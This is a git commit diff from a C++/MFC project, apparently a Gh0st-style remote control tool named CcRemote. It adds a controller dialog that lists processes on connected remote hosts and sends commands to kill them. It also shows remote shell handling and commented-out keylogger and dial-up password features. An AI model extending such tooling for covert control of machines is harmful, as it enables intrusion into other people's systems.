增加了服务与控制端的进程控制交互,能够结束进程

This commit is contained in:
changcheng 2020-05-29 00:16:25 +08:00
parent 2349891948
commit 5261d32d51
11 changed files with 184 additions and 29 deletions

Binary file not shown.

View File

@ -37,6 +37,9 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab)
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS, &CSystemDlg::OnNMRClickListProcess)
END_MESSAGE_MAP()
@ -44,16 +47,24 @@ END_MESSAGE_MAP()
void CSystemDlg::AdjustList(void)
{
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 29;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
if (m_list_process.m_hWnd == NULL)
{
return;
}
if (m_list_windows.m_hWnd == NULL)
{
return;
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 29;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list_process.MoveWindow(&rectList);
m_list_windows.MoveWindow(&rectList);
m_list_process.MoveWindow(&rectList);
m_list_windows.MoveWindow(&rectList);
}
}
@ -184,3 +195,97 @@ void CSystemDlg::ShowProcessList(void)
lvc.cchTextMax = str.GetLength();
m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程
}
void CSystemDlg::OnKillprocess()
{
// TODO: 在此添加命令处理程序代码
CListCtrl *pListCtrl = NULL;
if (m_list_process.IsWindowVisible())
pListCtrl = &m_list_process;
else if (m_list_windows.IsWindowVisible())
pListCtrl = &m_list_windows;
else
return;
// TODO: Add your command handler code here
//非配缓冲区
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (pListCtrl->GetSelectedCount() * 4));
//加入结束进程的数据头
lpBuffer[0] = COMMAND_KILLPROCESS;
//显示警告信息
char *lpTips = "警告: 终止进程会导致不希望发生的结果,\n"
"包括数据丢失和系统不稳定。在被终止前,\n"
"进程将没有机会保存其状态和数据。";
CString str;
if (pListCtrl->GetSelectedCount() > 1)
{
str.Format("%s确实\n想终止这%d项进程吗?", lpTips, pListCtrl->GetSelectedCount());
}
else
{
str.Format("%s确实\n想终止该项进程吗?", lpTips);
}
if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1;
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
//得到要结束哪个进程
while (pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = pListCtrl->GetNextSelectedItem(pos);
DWORD dwProcessID = pListCtrl->GetItemData(nItem);
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
dwOffset += sizeof(DWORD);
}
//发送数据到服务端到服务端查找COMMAND_KILLPROCESS这个数据头
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemDlg::OnRefreshpslist()
{
// TODO: 在此添加命令处理程序代码
if (m_list_process.IsWindowVisible())
GetProcessList();
//if (m_list_windows.IsWindowVisible())
//GetWindowsList();
}
void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu popup;
popup.LoadMenu(IDR_PSLIST);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
void CSystemDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_PSLIST:
ShowProcessList();
break;
//case TOKEN_WSLIST:
//ShowWindowsList();
//break;
//case TOKEN_DIALUPASS:
//ShowDialupassList();
//break;
default:
// 传输发生异常数据
break;
}
}

View File

@ -33,6 +33,7 @@ private:
void AdjustList(void);
void ShowSelectWindow(void);
void GetProcessList(void);
public:
afx_msg void OnSize(UINT nType, int cx, int cy);
@ -40,4 +41,9 @@ public:
afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult);
virtual BOOL OnInitDialog();
void ShowProcessList(void);
afx_msg void OnKillprocess();
afx_msg void OnRefreshpslist();
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
void OnReceiveComplete(void);
};

Binary file not shown.

View File

@ -82,6 +82,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@ -508,6 +510,8 @@ void CCcRemoteDlg::OnOnlineFile()
void CCcRemoteDlg::OnOnlineProcess()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端到服务端搜索COMMAND_SYSTEM
SendSelectCommand(&bToken, sizeof(BYTE));
}
@ -757,9 +761,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
//case SYSTEM_DLG:
// ((CSystemDlg *)dlg)->OnReceiveComplete();
// break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
@ -816,10 +820,10 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
break;
case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_PSLIST:
g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;*/
case TOKEN_PSLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
@ -969,4 +973,20 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
pContext->m_Dialog[0] = SHELL_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//打开进程管理窗口
LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为卓面
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}

View File

@ -6,6 +6,7 @@
#include "include/IOCPServer.h"
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
#pragma once
@ -97,6 +98,7 @@ public:
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@ -1,3 +1,5 @@
g:\ccremote\ccremote\bin\ccremote.ipdb
g:\ccremote\ccremote\bin\ccremote.iobj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
@ -5,10 +7,24 @@ g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\release\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog

View File

@ -2,14 +2,14 @@
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(159): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(305): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(322): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(788): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(867): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(792): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(871): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CSettingDlg.cpp
CShellDlg.cpp
@ -19,7 +19,7 @@ g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(127): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(138): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
@ -29,13 +29,13 @@ g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat':
TrueColorToolBar.cpp
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 473 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 479 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@ -23,6 +23,8 @@
#define IDD_SYSTEM 143
#define IDI_SYSTM 146
#define IDI_SYSTEM 146
#define IDR_MENU4 147
#define IDR_PSLIST 147
#define IDC_ONLINE 1000
#define IDC_LIST2 1001
#define IDC_MESSAGE 1001
@ -77,13 +79,17 @@
#define IDM_NOTIFY_SHOW 32814
#define IDM_NOTIFY_CLOSE 32815
#define IDM_BUTTON123456 32816
#define ID_PSLIST_32817 32817
#define ID_PSLIST_32818 32818
#define IDM_KILLPROCESS 32819
#define IDM_REFRESHPSLIST 32820
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 147
#define _APS_NEXT_COMMAND_VALUE 32817
#define _APS_NEXT_RESOURCE_VALUE 148
#define _APS_NEXT_COMMAND_VALUE 32821
#define _APS_NEXT_CONTROL_VALUE 1006
#define _APS_NEXT_SYMED_VALUE 101
#endif

Binary file not shown.